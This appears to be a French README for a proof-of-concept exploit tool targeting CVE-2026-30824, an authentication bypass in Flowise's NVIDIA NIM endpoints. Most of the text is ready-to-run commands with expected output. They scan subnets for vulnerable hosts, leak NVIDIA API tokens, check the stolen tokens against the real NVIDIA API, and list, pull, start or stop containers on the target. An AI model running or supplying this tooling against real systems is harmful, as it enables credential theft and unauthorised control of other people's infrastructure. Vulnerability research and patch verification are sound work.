
Un exploit de preuve de concept pour **CVE-2026-30824**, une vulnérabilité critique de contournement d'authentification dans Flowise qui expose les points de terminaison de l'API NVIDIA NIM sans authentification.
Un vérificateur et exploit de preuve de concept pour CVE-2026-30824, une vulnérabilité critique de contournement d'authentification dans Flowise qui expose les points de terminaison de l'API NVIDIA NIM sans authentification.
CVE-2026-30824 est un contournement d'authentification critique dans Flowise (< 3.0.13) qui permet à des attaquants distants non authentifiés d'accéder aux points de terminaison de gestion des conteneurs NVIDIA NIM et de génération de jetons API.
| Champ | Valeur |
|---|---|
| Score CVSS | 9,8 (Critique) |
| CWE | CWE-306 : Authentification manquante pour une fonction critique |
| Versions affectées | Flowise < 3.0.13 |
| Impact | Gestion complète des conteneurs, accès GPU, vol de jetons |
Le chemin /api/v1/nvidia-nim/* est sur la liste blanche du middleware d'authentification global, permettant un accès non authentifié à :
✅ Détection de vulnérabilité — Vérification rapide si la cible est vulnérable
✅ Extraction de jetons — Fuite des jetons API NVIDIA depuis les points de terminaison vulnérables
✅ Validation de jetons — Vérification des jetons auprès de l'API NVIDIA (démonstration du rayon d'impact)
✅ Énumération des conteneurs — Liste des conteneurs NIM en cours d'exécution
✅ Analyse par lots — Analyse de plusieurs cibles à partir d'un fichier
✅ Contournement SSL — Ignore les certificats auto-signés par défaut
✅ Sortie colorée — Indicateurs d'état faciles à lire (vert/jaune/rouge)
✅ Reconnaissance — Cartographie complète des points de terminaison et diagnostics
requests# Clonez ou téléchargez le script
git clone <repository>
cd cve-2026-30824
# Installez les dépendances
pip install -r requirements.txt
# ou
pip install requests
# Vérifiez si une seule cible est vulnérable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# Sortie attendue (VULNÉRABLE) :
# [+] La cible semble VULNÉRABLE (HTTP 200)
# Réponse : {...}
# Créez targets.txt avec une URL par ligne
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# Analysez toutes les cibles (mode rapide, sans invites)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# Résumé attendu :
# ============================================================
# [*] Résumé de l'analyse
# ============================================================
# [+] VULNÉRABLE : 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] CORRIGÉ : 1
# ✗ http://192.168.1.102:3000
# Fuite du jeton API NVIDIA depuis le point de terminaison vulnérable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# Sortie attendue :
# [*] Tentative de fuite du jeton API NVIDIA...
# [+] Jeton API NVIDIA : eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Type de jeton : Bearer
# [+] Expire dans : 3600s
# Vérifiez qu'un jeton fuité fonctionne avec la véritable API NVIDIA
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Sortie attendue :
# [*] Validation du jeton auprès de l'API NVIDIA...
# [+] Jeton VALIDE ! Accès à 45 modèles NVIDIA NIM.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# Énumérez les conteneurs sur la cible
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# Sortie attendue :
# [*] Liste des conteneurs en cours d'exécution...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# Exécutez toutes les vérifications de reconnaissance sur la cible vulnérable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
Arguments facultatifs :
-h, --help Affiche ce message d'aide et quitte
-t, --target TARGET URL cible (par ex., http://192.168.1.100:3000)
-f, --targets-file FILE Fichier contenant la liste des cibles (une par ligne)
Détection de vulnérabilité :
--check Vérifie uniquement si la cible est vulnérable
--scan-only Analyse les cibles pour détecter la vulnérabilité sans invites
--debug Affiche les détails des requêtes et les réponses brutes
Exploitation :
--get-token Fuit le jeton API NVIDIA
--validate-token TOKEN Valide le jeton fuité auprès de l'API NVIDIA
--list-containers Liste les conteneurs NIM en cours d'exécution
--get-container CONTAINER_ID Obtient les détails du conteneur
--get-image IMAGE_ID Obtient les détails de l'image
--pull-image IMAGE_TAG Télécharge une image Docker (par ex., nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG Démarre un conteneur à partir d'une balise d'image
--container-name NAME Nom du conteneur démarré
--stop-container CONTAINER_ID Arrête un conteneur en cours d'exécution
--preload Déclenche le point de terminaison de préchargement des ressources
--all Exécute toutes les vérifications de reconnaissance
Avancé :
--timeout SECONDS Délai d'expiration des requêtes en secondes (défaut : 15)
# 1. Analysez tout le sous-réseau pour trouver des instances vulnérables
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. Pour chaque cible vulnérable, extrayez le jeton
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. Validez l'impact du jeton
python3 CVE-2026-30824.py --validate-token "<jeton-extrait>"
# Vérifiez la vulnérabilité et démontrez le rayon d'impact complet
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# Cela va :
# 1. Vérifier la vulnérabilité
# 2. Extraire le jeton API NVIDIA
# 3. Valider le jeton auprès de l'API NVIDIA
# 4. Lister les conteneurs en cours d'exécution
# 5. Afficher l'énumération des ressources
# Surveillez une cible périodiquement (via cron ou un planificateur)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log